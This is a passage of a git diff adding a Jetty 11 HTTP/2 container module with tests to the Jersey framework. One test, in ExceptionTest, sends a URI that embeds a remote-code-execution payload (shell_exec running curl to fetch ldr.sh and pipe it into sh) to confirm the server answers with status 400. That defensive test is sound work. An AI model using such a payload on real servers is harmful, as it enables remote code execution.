+ volatile boolean stopped;
+
+ @Override
+ public void onStartup(Container container) {
+ started = true;
+ }
+
+ @Override
+ public void onShutdown(Container container) {
+ stopped = true;
+ }
+ }
+
+ @Test
+ public void testStartupShutdownHooks() {
+ final StartStopListener listener = new StartStopListener();
+
+ startServer(new ResourceConfig(One.class).register(listener));
+
+ Client client = ClientBuilder.newClient();
+ WebTarget r = client.target(getUri().path("/").build());
+
+ assertThat(r.path("one").request().get(String.class), equalTo("one"));
+ assertThat(r.path("two").request().get(Response.class).getStatus(), equalTo(404));
+
+ stopServer();
+
+ assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called.");
+ assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called.");
+ }
+}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java
new file mode 100644
index 00000000000..5d9c6279858
--- /dev/null
+++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Response;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class OptionsTest extends AbstractJettyServerTester {
+
+ @Path("helloworld")
+ public static class HelloWorldResource {
+ public static final String CLICHED_MESSAGE = "Hello World!";
+
+ @GET
+ @Produces("text/plain")
+ public String getHello() {
+ return CLICHED_MESSAGE;
+ }
+ }
+
+ @Test
+ public void testFooBarOptions() {
+ startServer(HelloWorldResource.class);
+ Client client = ClientBuilder.newClient();
+ Response response = client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options();
+ assertEquals(200, response.getStatus());
+ final String allowHeader = response.getHeaderString("Allow");
+ _checkAllowContent(allowHeader);
+ assertEquals(0, response.getLength());
+ assertEquals("foo/bar", response.getMediaType().toString());
+ }
+
+ private void _checkAllowContent(final String content) {
+ assertTrue(content.contains("GET"));
+ assertTrue(content.contains("HEAD"));
+ assertTrue(content.contains("OPTIONS"));
+ }
+
+}
diff --git a/containers/jetty11-http2/pom.xml b/containers/jetty11-http2/pom.xml
new file mode 100644
index 00000000000..15a7d788c8c
--- /dev/null
+++ b/containers/jetty11-http2/pom.xml
@@ -0,0 +1,175 @@
+
+
+
+
+ 4.0.0
+
+
+ project
+ org.glassfish.jersey.containers
+ 3.1.99-SNAPSHOT
+
+
+ jersey-container-jetty11-http2
+ jar
+ jersey-container-jetty11-http2
+
+ Jetty 11 Http2 Container
+
+
+
+
+ org.eclipse.jetty
+ jetty-server
+ ${jetty11.version}
+
+
+ org.eclipse.jetty
+ jetty-util
+ ${jetty11.version}
+
+
+ org.eclipse.jetty.http2
+ http2-server
+ ${jetty11.version}
+
+
+ org.eclipse.jetty
+ jetty-alpn-conscrypt-server
+ ${jetty11.version}
+
+
+
+
+
+
+ org.glassfish.jersey.containers
+ jersey-container-jetty11-http
+ ${project.version}
+
+
+ org.eclipse.jetty
+ jetty-server
+
+
+ org.eclipse.jetty
+ jetty-util
+
+
+
+
+ jakarta.inject
+ jakarta.inject-api
+
+
+ org.eclipse.jetty
+ jetty-server
+ ${jetty11.version}
+
+
+ org.slf4j
+ slf4j-api
+
+
+
+
+ org.eclipse.jetty
+ jetty-util
+ ${jetty11.version}
+
+
+ org.slf4j
+ slf4j-api
+
+
+
+
+ org.eclipse.jetty.http2
+ http2-server
+ ${jetty11.version}
+
+
+ org.slf4j
+ slf4j-api
+
+
+ org.eclipse.jetty
+ jetty-server
+
+
+
+
+ org.eclipse.jetty
+ jetty-alpn-conscrypt-server
+ ${jetty11.version}
+
+
+ org.slf4j
+ slf4j-api
+
+
+
+
+ org.apache.httpcomponents
+ httpclient
+ test
+
+
+ org.hamcrest
+ hamcrest
+ test
+
+
+
+
+
+
+ com.sun.istack
+ istack-commons-maven-plugin
+ true
+
+
+ org.codehaus.mojo
+ build-helper-maven-plugin
+ true
+
+
+ org.apache.felix
+ maven-bundle-plugin
+ true
+
+
+
+ ${jetty.osgi.version},
+ *
+
+
+
+
+
+
+
+
+ ${basedir}/src/main/resources
+ true
+
+
+
+
+
diff --git a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerFactory.java b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerFactory.java
new file mode 100644
index 00000000000..ac8927c0654
--- /dev/null
+++ b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerFactory.java
@@ -0,0 +1,217 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.eclipse.jetty.alpn.server.ALPNServerConnectionFactory;
+import org.eclipse.jetty.http2.server.HTTP2CServerConnectionFactory;
+import org.eclipse.jetty.http2.server.HTTP2ServerConnectionFactory;
+import org.eclipse.jetty.server.ConnectionFactory;
+import org.eclipse.jetty.server.Connector;
+import org.eclipse.jetty.server.HttpConfiguration;
+import org.eclipse.jetty.server.HttpConnectionFactory;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+import org.eclipse.jetty.server.SslConnectionFactory;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+import org.glassfish.jersey.jetty.Jetty11HttpContainer;
+import org.glassfish.jersey.jetty.Jetty11HttpContainerFactory;
+import org.glassfish.jersey.jetty.Jetty11HttpContainerProvider;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.ResourceConfig;
+
+import jakarta.ws.rs.ProcessingException;
+import java.net.URI;
+import java.util.ArrayList;
+import java.util.List;
+
+public final class Jetty11Http2ContainerFactory {
+
+ private Jetty11Http2ContainerFactory() {
+
+ }
+
+ /**
+ * Creates HTTP/2 enabled {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+ * segment will be used as context path, the rest will be ignored.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createHttp2Server(final URI uri) throws ProcessingException {
+ return createHttp2Server(uri, null, null, true);
+ }
+
+ /**
+ * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ *
+ * This implementation defers to the
+ * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+ * for creating an Container that manages the root resources.
+ *
+ * @param uri URI on which the Jersey web application will be deployed. Only first path segment will be
+ * used as context path, the rest will be ignored.
+ * @param configuration web application configuration.
+ * @param start if set to false, server will not get started, which allows to configure the underlying
+ * transport layer, see above for details.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start)
+ throws ProcessingException {
+ return createHttp2Server(uri, null,
+ ContainerFactory.createContainer(Jetty11HttpContainer.class, configuration), start);
+ }
+
+ /**
+ * Creates HTTP/2 enabled {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+ * segment will be used as context path, the rest will be ignored.
+ * @param start if set to false, server will not get started, which allows to configure the underlying transport
+ * layer, see above for details.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ *
+ * @since 2.40
+ */
+
+ public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException {
+ return createHttp2Server(uri, null, null, start);
+ }
+
+ /**
+ * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to "https". The URI user information and host
+ * are ignored If the URI port is not present then port 143 will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param config the resource configuration.
+ * @param parentContext DI provider specific context with application's registered bindings.
+ * @param start if set to false, server will not get started, this allows end users to set
+ * additional properties on the underlying listener.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ * @see Jetty11HttpContainer
+ *
+ * @since 2.40
+ */
+ public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start,
+ final Object parentContext) {
+ return createHttp2Server(uri, null,
+ new Jetty11HttpContainerProvider().createContainer(Jetty11HttpContainer.class,
+ config, parentContext), start);
+ }
+
+ /**
+ * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes found by searching the
+ * classes referenced in the java classpath.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to {@code https}. The URI user information and host
+ * are ignored. If the URI port is not present then port
+ * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param sslContextFactory this is the SSL context factory used to configure SSL connector
+ * @param handler the container that handles all HTTP requests
+ * @param start if set to false, server will not get started, this allows end users to set
+ * additional properties on the underlying listener.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ * @see Jetty11HttpContainer
+ *
+ * @since 2.40
+ */
+ public static Server createHttp2Server(final URI uri,
+ final SslContextFactory.Server sslContextFactory,
+ final Jetty11HttpContainer handler,
+ final boolean start) {
+
+ /**
+ * Creating basic Jetty HTTP/1.1 container (but always not started)
+ */
+ final Server server = Jetty11HttpContainerFactory.createServer(uri, sslContextFactory, handler, false);
+ /**
+ * Obtain configured HTTP connection factory
+ */
+ final ServerConnector httpServerConnector = (ServerConnector) server.getConnectors()[0];
+ final HttpConnectionFactory httpConnectionFactory = httpServerConnector.getConnectionFactory(HttpConnectionFactory.class);
+
+ /**
+ * Obtain prepared config
+ */
+ final HttpConfiguration config = httpConnectionFactory.getHttpConfiguration();
+
+ /**
+ * Add required H2/H2C connection factories using pre-configured config from the HTTP/1.1 server
+ */
+ final List factories = getConnectionFactories(config, sslContextFactory);
+
+ /**
+ * adding connection factories for H2/H2C protocol
+ */
+ for (final ConnectionFactory factory : factories) {
+ httpServerConnector.addConnectionFactory(factory);
+ }
+ server.setConnectors(new Connector[]{httpServerConnector});
+
+ /**
+ * Starting the server if required
+ */
+ if (start) {
+ try {
+ // Start the server.
+ server.start();
+ } catch (final Exception e) {
+ throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e);
+ }
+ }
+ return server;
+ }
+
+ private static List getConnectionFactories(final HttpConfiguration config,
+ final SslContextFactory.Server sslContextFactory) {
+ final List factories = new ArrayList<>();
+ if (sslContextFactory != null) {
+ factories.add(new HTTP2ServerConnectionFactory(config));
+ final ALPNServerConnectionFactory alpn = new ALPNServerConnectionFactory();
+ alpn.setDefaultProtocol("h2");
+ factories.add(new SslConnectionFactory(sslContextFactory, alpn.getProtocol()));
+ factories.add(alpn);
+ } else {
+ factories.add(new HTTP2CServerConnectionFactory(config));
+ }
+
+ return factories;
+ }
+}
diff --git a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerProvider.java b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerProvider.java
new file mode 100644
index 00000000000..edc461ed26e
--- /dev/null
+++ b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerProvider.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.glassfish.jersey.internal.util.JdkVersion;
+import org.glassfish.jersey.jetty.Jetty11HttpContainer;
+import org.glassfish.jersey.jetty.Jetty11HttpContainerProvider;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.server.spi.ContainerProvider;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.Application;
+
+import static org.glassfish.jersey.jetty.Jetty11HttpContainerProvider.HANDLER_NAME;
+
+public final class Jetty11Http2ContainerProvider implements ContainerProvider {
+
+ @Override
+ public T createContainer(final Class type, final Application application) throws ProcessingException {
+ if (JdkVersion.getJdkVersion().getMajor() < 11) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+ if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || Jetty11HttpContainer.class == type)) {
+ return type.cast(new Jetty11HttpContainerProvider().createContainer(Jetty11HttpContainer.class, application));
+ }
+ return null;
+ }
+}
+
diff --git a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/package-info.java b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/package-info.java
new file mode 100644
index 00000000000..a402b271157
--- /dev/null
+++ b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/package-info.java
@@ -0,0 +1,20 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+/**
+ * Jersey Jetty HTTP2 container classes.
+ */
+package org.glassfish.jersey.jetty.http2;
diff --git a/containers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider b/containers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
new file mode 100644
index 00000000000..2cd5ddabdd5
--- /dev/null
+++ b/containers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.jetty.http2.Jetty11Http2ContainerProvider
diff --git a/containers/jetty11-http2/src/main/resources/org/glassfish/jersey/jetty11/http2/localization.properties b/containers/jetty11-http2/src/main/resources/org/glassfish/jersey/jetty11/http2/localization.properties
new file mode 100644
index 00000000000..ba290bd84e5
--- /dev/null
+++ b/containers/jetty11-http2/src/main/resources/org/glassfish/jersey/jetty11/http2/localization.properties
@@ -0,0 +1,19 @@
+#
+# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+#
+# This program and the accompanying materials are made available under the
+# terms of the Eclipse Public License v. 2.0, which is available at
+# http://www.eclipse.org/legal/epl-2.0.
+#
+# This Source Code may also be made available under the following Secondary
+# Licenses when the conditions for such availability set forth in the
+# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+# version 2 with the GNU Classpath Exception, which is available at
+# https://www.gnu.org/software/classpath/license.html.
+#
+# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+#
+
+# {0} - status code; {1} - status reason message
+error.when.creating.server=Exception thrown when trying to create jetty server.
+not.supported=Jetty container is not supported on JDK version less than 17.
\ No newline at end of file
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AbstractJetty11ServerTester.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AbstractJetty11ServerTester.java
new file mode 100644
index 00000000000..1911add67cb
--- /dev/null
+++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AbstractJetty11ServerTester.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import java.net.URI;
+import java.security.AccessController;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.server.ResourceConfig;
+
+import org.eclipse.jetty.server.Server;
+import org.junit.jupiter.api.AfterEach;
+
+/**
+ * Abstract Jetty Server unit tester.
+ *
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Miroslav Fuksa
+ */
+public abstract class AbstractJetty11ServerTester {
+
+ private static final Logger LOGGER = Logger.getLogger(AbstractJetty11ServerTester.class.getName());
+
+ public static final String CONTEXT = "";
+ private static final int DEFAULT_PORT = 0; // rather Jetty choose than 9998
+
+ /**
+ * Get the port to be used for test application deployments.
+ *
+ * @return The HTTP port of the URI
+ */
+ protected final int getPort() {
+ final String value = AccessController
+ .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+ if (value != null) {
+
+ try {
+ final int i = Integer.parseInt(value);
+ if (i <= 0) {
+ throw new NumberFormatException("Value not positive.");
+ }
+ return i;
+ } catch (NumberFormatException e) {
+ LOGGER.log(Level.CONFIG,
+ "Value of 'jersey.config.test.container.port'"
+ + " property is not a valid positive integer [" + value + "]."
+ + " Reverting to default [" + DEFAULT_PORT + "].",
+ e);
+ }
+ }
+ return DEFAULT_PORT;
+ }
+
+ private final int getPort(RuntimeType runtimeType) {
+ switch (runtimeType) {
+ case SERVER:
+ return getPort();
+ case CLIENT:
+ return server.getURI().getPort();
+ default:
+ throw new IllegalStateException("Unexpected runtime type");
+ }
+ }
+
+ private volatile Server server;
+
+ public UriBuilder getUri() {
+ return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT);
+ }
+
+ public void startServer(Class... resources) {
+ ResourceConfig config = new ResourceConfig(resources);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ final URI baseUri = getBaseUri();
+ server = Jetty11Http2ContainerFactory.createHttp2Server(baseUri, config, true);
+ LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI());
+ }
+
+ public void startServer(ResourceConfig config) {
+ final URI baseUri = getBaseUri();
+ server = Jetty11Http2ContainerFactory.createHttp2Server(baseUri, config, true);
+ LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI());
+ }
+
+ public URI getBaseUri() {
+ return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build();
+ }
+
+ public void stopServer() {
+ try {
+ server.stop();
+ server = null;
+ LOGGER.log(Level.INFO, "Jetty-http server stopped.");
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ @AfterEach
+ public void tearDown() {
+ if (server != null) {
+ stopServer();
+ }
+ }
+}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AsyncTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AsyncTest.java
new file mode 100644
index 00000000000..0a3774b39bd
--- /dev/null
+++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AsyncTest.java
@@ -0,0 +1,169 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.container.TimeoutHandler;
+import jakarta.ws.rs.core.Response;
+
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import static org.hamcrest.CoreMatchers.is;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Michal Gajdos
+ */
+public class AsyncTest extends AbstractJetty11ServerTester {
+
+ @Path("/async")
+ @SuppressWarnings("VoidMethodAnnotatedWithGET")
+ public static class AsyncResource {
+
+ public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0);
+
+ @GET
+ public void asyncGet(@Suspended final AsyncResponse asyncResponse) {
+ new Thread(new Runnable() {
+
+ @Override
+ public void run() {
+ final String result = veryExpensiveOperation();
+ asyncResponse.resume(result);
+ }
+
+ private String veryExpensiveOperation() {
+ // ... very expensive operation that typically finishes within 5 seconds, simulated using sleep()
+ try {
+ Thread.sleep(5000);
+ } catch (final InterruptedException e) {
+ // ignore
+ }
+ return "DONE";
+ }
+ }).start();
+ }
+
+ @GET
+ @Path("timeout")
+ public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
+ asyncResponse.setTimeoutHandler(new TimeoutHandler() {
+
+ @Override
+ public void handleTimeout(final AsyncResponse asyncResponse) {
+ asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Operation time out.")
+ .build());
+ }
+ });
+ asyncResponse.setTimeout(3, TimeUnit.SECONDS);
+
+ new Thread(new Runnable() {
+
+ @Override
+ public void run() {
+ final String result = veryExpensiveOperation();
+ asyncResponse.resume(result);
+ }
+
+ private String veryExpensiveOperation() {
+ // ... very expensive operation that typically finishes within 10 seconds, simulated using sleep()
+ try {
+ Thread.sleep(7000);
+ } catch (final InterruptedException e) {
+ // ignore
+ }
+ return "DONE";
+ }
+ }).start();
+ }
+
+ @GET
+ @Path("multiple-invocations")
+ public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) {
+ INVOCATION_COUNT.incrementAndGet();
+
+ new Thread(new Runnable() {
+ @Override
+ public void run() {
+ asyncResponse.resume("OK");
+ }
+ }).start();
+ }
+ }
+
+ private Client client;
+
+ @BeforeEach
+ public void setUp() throws Exception {
+ startServer(AsyncResource.class);
+ client = ClientBuilder.newClient();
+ }
+
+ @Override
+ @AfterEach
+ public void tearDown() {
+ super.tearDown();
+ client = null;
+ }
+
+ @Test
+ public void testAsyncGet() throws ExecutionException, InterruptedException {
+ final Future responseFuture = client.target(getUri().path("/async")).request().async().get();
+ // Request is being processed asynchronously.
+ final Response response = responseFuture.get();
+ // get() waits for the response
+ assertEquals("DONE", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testAsyncGetWithTimeout() throws ExecutionException, InterruptedException, TimeoutException {
+ final Future responseFuture = client.target(getUri().path("/async/timeout")).request().async().get();
+ // Request is being processed asynchronously.
+ final Response response = responseFuture.get();
+
+ // get() waits for the response
+ assertEquals(503, response.getStatus());
+ assertEquals("Operation time out.", response.readEntity(String.class));
+ }
+
+ /**
+ * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request.
+ */
+ @Test
+ public void testAsyncMultipleInvocations() throws Exception {
+ final Response response = client.target(getUri().path("/async/multiple-invocations")).request().get();
+
+ assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1));
+
+ assertThat(response.getStatus(), is(200));
+ assertThat(response.readEntity(String.class), is("OK"));
+ }
+}
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/ExceptionTest.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/ExceptionTest.java
new file mode 100644
index 00000000000..6f0ad228d80
--- /dev/null
+++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/ExceptionTest.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.apache.http.HttpHost;
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.http.message.BasicHttpRequest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.PathParam;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Response;
+
+import java.io.IOException;
+import java.net.URI;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author Paul Sandoz
+ */
+public class ExceptionTest extends AbstractJetty11ServerTester {
+ @Path("{status}")
+ public static class ExceptionResource {
+ @GET
+ public String get(@PathParam("status") int status) {
+ throw new WebApplicationException(status);
+ }
+
+ }
+
+ @Test
+ public void test400StatusCodeForIllegalSymbolsInURI() throws IOException {
+ startServer(ExceptionResource.class);
+ URI testUri = getUri().build();
+ String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
+ + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
+ + ".0.1/ldr.sh|sh";
+ BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment);
+ CloseableHttpClient client = HttpClientBuilder.create().build();
+
+ CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+ assertEquals(400, response.getStatusLine().getStatusCode());
+ }
+
+ @Test
+ public void test400StatusCodeForIllegalHeaderValue() throws IOException {
+ startServer(ExceptionResource.class);
+ URI testUri = getUri().build();
+ BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400");
